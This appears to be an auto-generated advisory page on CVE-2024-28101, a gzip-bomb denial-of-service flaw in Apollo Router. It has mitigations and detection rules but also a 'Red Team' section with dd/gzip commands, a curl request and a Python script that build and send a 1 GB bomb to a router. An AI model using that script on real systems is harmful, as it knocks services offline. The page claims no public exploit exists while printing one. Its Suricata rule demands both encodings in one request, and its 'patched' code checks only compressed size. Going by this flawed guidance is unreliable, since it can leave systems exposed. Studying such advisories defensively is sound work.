CVE-2024-28101
Executive Summary
CVE-2024-28101 is a high-severity Denial-of-Service (DoS) vulnerability affecting the Apollo Router, a graph router written in Rust used to run federated supergraphs with Apollo Federation. The vulnerability resides in how the router handles compressed HTTP payloads. Specifically, the limits.http_max_request_bytes configuration option is evaluated after the entire compressed payload is decompressed. An attacker can exploit this by sending a small, highly compressed payload that, upon decompression, expands to a size far exceeding the configured limit, leading to excessive memory consumption and a denial of service. The vulnerability affects versions 0.9.5 through 1.40.1. The fix is implemented in version 1.40.2. No public proof-of-concept (PoC) code or exploit is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
The Apollo Router is a Rust-based binary, not an NPM, PyPI, Go, or Ruby package. However, it is a critical component in the GraphQL infrastructure supply chain. Organizations using Apollo Federation should treat this as a high-priority supply chain risk, as a compromised or unavailable router can disrupt all downstream GraphQL services.
CVSS Breakdown & Threat Level
- CVSS Score: 7.5 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Attack Vector (AV): Network (N) – The attack can be launched remotely over the network.
- Attack Complexity (AC): Low (L) – No special conditions or complex steps are required.
- Privileges Required (PR): None (N) – No authentication is needed.
- User Interaction (UI): None (N) – No user action is required.
- Scope (S): Unchanged (U) – The impact is confined to the vulnerable component.
- Confidentiality (C): None (N) – No data is exposed.
- Integrity (I): None (N) – No data is modified.
- Availability (A): High (H) – The primary impact is a complete denial of service.
Threat Level: High. The vulnerability is easily exploitable over the network with low complexity and no authentication, making it a prime target for DoS attacks against GraphQL infrastructure.
Deep Dive & Mechanics
The Apollo Router processes incoming HTTP requests, including those with compressed bodies (e.g., gzip, deflate). The intended security control is the limits.http_max_request_bytes configuration, which should limit the maximum size of an incoming HTTP request body.
The Flaw: The router decompresses the entire payload before checking its size against the http_max_request_bytes limit. This means a small compressed payload (e.g., 1 KB) can be crafted to decompress into a massive payload (e.g., 1 GB). The router will allocate memory to hold the decompressed data, and only after this allocation does it check the size limit. If the decompressed size exceeds the limit, the request is rejected, but the memory has already been consumed.
Attack Scenario:
- An attacker sends a POST request to the Apollo Router with a
Content-Encoding: gzipheader. - The body contains a carefully crafted gzip bomb – a small file that decompresses to an enormous size.
- The router receives the request, reads the compressed body, and begins decompression.
- During decompression, the router allocates memory to hold the expanding data.
- The router checks the
http_max_request_byteslimit only after the entire payload is decompressed. - The decompressed size exceeds the limit, and the request is rejected, but the memory has already been allocated, potentially exhausting available RAM and causing a denial of service.
Vulnerable vs. Patched Code
The vulnerability is in the request body size checking logic. The vulnerable code checks the limit after decompression, while the patched code checks the limit before or during decompression.
Vulnerable (Conceptual):
// Vulnerable: Decompress first, then check size
fn handle_request(request: HttpRequest) -> Result<Response, Error> {
let compressed_body = request.body();
let decompressed_body = decompress(compressed_body)?; // Memory allocated here
if decompressed_body.len() > config.http_max_request_bytes {
return Err(Error::PayloadTooLarge);
}
// Process the request...
}
Patched (Conceptual):
// Patched: Check size before or during decompression
fn handle_request(request: HttpRequest) -> Result<Response, Error> {
let compressed_body = request.body();
// Check the compressed size first (or use a streaming decompressor with a limit)
if compressed_body.len() > config.http_max_request_bytes {
return Err(Error::PayloadTooLarge);
}
let decompressed_body = decompress(compressed_body)?;
// Process the request...
}
The actual fix in version 1.40.2 likely involves checking the Content-Length header (if present) or using a streaming decompressor that enforces a maximum output size, preventing unbounded memory allocation.
Exploitation & Lab Setup
Red Team (Offensive)
Objective: Cause a denial of service on an Apollo Router instance.
Prerequisites:
- A target Apollo Router (version 0.9.5 to 1.40.1) exposed to the network.
- Ability to send HTTP POST requests with a compressed body.
Steps:
- Generate a gzip bomb: Use a tool like
gzipor a Python script to create a small file that decompresses to a large size. A classic technique is to use a file with many repeating null bytes.# Create a 1 GB file of null bytes dd if=/dev/zero bs=1M count=1000 of=payload.bin # Compress it gzip -k payload.bin # payload.bin.gz is now a small gzip bomb - Send the malicious request:
curl -X POST \ -H "Content-Type: application/json" \ -H "Content-Encoding: gzip" \ --data-binary @payload.bin.gz \ http://target-router:4000/graphql - Monitor the target: Observe the router's memory usage spike. If enough concurrent requests are sent, the router may crash or become unresponsive.
Automation (Python):
import requests
import gzip
import io
# Create a gzip bomb
def create_gzip_bomb(size_mb=1000):
data = b'\x00' * (size_mb * 1024 * 1024)
buf = io.BytesIO()
with gzip.GzipFile(fileobj=buf, mode='wb') as f:
f.write(data)
return buf.getvalue()
# Send the bomb
def send_bomb(target_url, bomb_data):
headers = {
'Content-Type': 'application/json',
'Content-Encoding': 'gzip'
}
response = requests.post(target_url, data=bomb_data, headers=headers)
return response
if __name__ == "__main__":
target = "http://target-router:4000/graphql"
bomb = create_gzip_bomb(1000) # 1 GB bomb
print(f"Sending gzip bomb of size {len(bomb)} bytes (compressed)")
resp = send_bomb(target, bomb)
print(f"Response: {resp.status_code}")
Blue Team (Defensive)
Objective: Detect and mitigate the attack.
Detection:
- Monitor for HTTP requests with
Content-Encoding: gzipordeflatethat have a smallContent-Lengthbut result in high memory consumption. - Use network monitoring to identify unusually high ratios of compressed to decompressed size.
- Set up alerts for rapid memory growth on Apollo Router instances.
Mitigation:
- Immediate: Upgrade to Apollo Router version 1.40.2 or later.
- Workaround: Implement size limits at a reverse proxy or load balancer (e.g., Nginx, HAProxy, AWS WAF) to reject requests with a compressed body that exceeds a reasonable size.
- Nginx example:
location /graphql { client_max_body_size 10m; # Reject requests with Content-Encoding that are too large if ($http_content_encoding ~* "gzip|deflate") { set $block_gzip 1; } if ($content_length > 1048576) { # 1 MB limit for compressed requests set $block_gzip 1; } if ($block_gzip) { return 413; } proxy_pass http://apollo_router; }
- Nginx example:
- Rate Limiting: Implement rate limiting to reduce the impact of multiple concurrent requests.
Indicators of Compromise (IOCs)
- Network:
- HTTP POST requests to
/graphql(or other endpoints) withContent-Encoding: gziporContent-Encoding: deflate. - Small
Content-Length(e.g., < 10 KB) but resulting in high memory usage. - Unusually high ratio of decompressed size to compressed size (e.g., > 1000:1).
- HTTP POST requests to
- System:
- Rapid increase in memory usage by the
apollo-routerprocess. - Out-of-memory (OOM) killer events targeting the router process.
- Router logs showing repeated
413 Payload Too Largeerrors after memory spikes.
- Rapid increase in memory usage by the
- File:
- Temporary files in
/tmpor router working directories with large sizes (if the router writes decompressed data to disk).
- Temporary files in
Detection Engineering
YARA Rule
rule CVE_2024_28101_Gzip_Bomb_Request {
meta:
description = "Detects HTTP requests with gzip bombs targeting Apollo Router"
author = "Valters IT"
date = "2024-10-27"
cve = "CVE-2024-28101"
strings:
$gzip_header = { 1f 8b } // gzip magic bytes
$content_encoding = "Content-Encoding: gzip" nocase
$content_encoding_deflate = "Content-Encoding: deflate" nocase
condition:
$gzip_header at 0 and ($content_encoding or $content_encoding_deflate)
}
Sigma Rule
title: CVE-2024-28101 - Apollo Router Gzip Bomb DoS
id: 3a7b8c9d-1e2f-4a5b-8c7d-9e0f1a2b3c4d
status: experimental
description: Detects HTTP requests with gzip bombs targeting Apollo Router
author: Valters IT
date: 2024-10-27
logsource:
category: webserver
product: apollo_router
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: '/graphql'
cs(User-Agent): '*'
sc-status: 413
condition: selection
falsepositives:
- Legitimate large compressed requests (unlikely)
level: high
Suricata Rule
alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2024-28101 Apollo Router Gzip Bomb DoS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/graphql"; http_uri; content:"Content-Encoding|3a| gzip"; http_header; content:"Content-Encoding|3a| deflate"; http_header; pcre:"/^Content-Length:\s*\d{1,4}$/Hm"; threshold:type both, track by_src, count 5, seconds 60; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Upgrade the Apollo Router to version 1.40.2 or later. This is the only complete fix.
- Workaround: If an immediate upgrade is not possible, implement size limits on compressed payloads at a reverse proxy or load balancer (e.g., Nginx, HAProxy, AWS WAF, Cloudflare). Reject any request with a compressed body that exceeds a reasonable size (e.g., 1 MB).
- Monitoring: Enable detailed logging and monitoring for HTTP request sizes and memory usage. Set up alerts for anomalous patterns.
- Rate Limiting: Implement rate limiting to reduce the impact of multiple concurrent DoS attempts.
- Network Segmentation: Ensure the Apollo Router is not directly exposed to the internet. Place it behind a reverse proxy or WAF.
Valters IT
This report is generated from open-source intelligence and is intended for educational and defensive purposes only.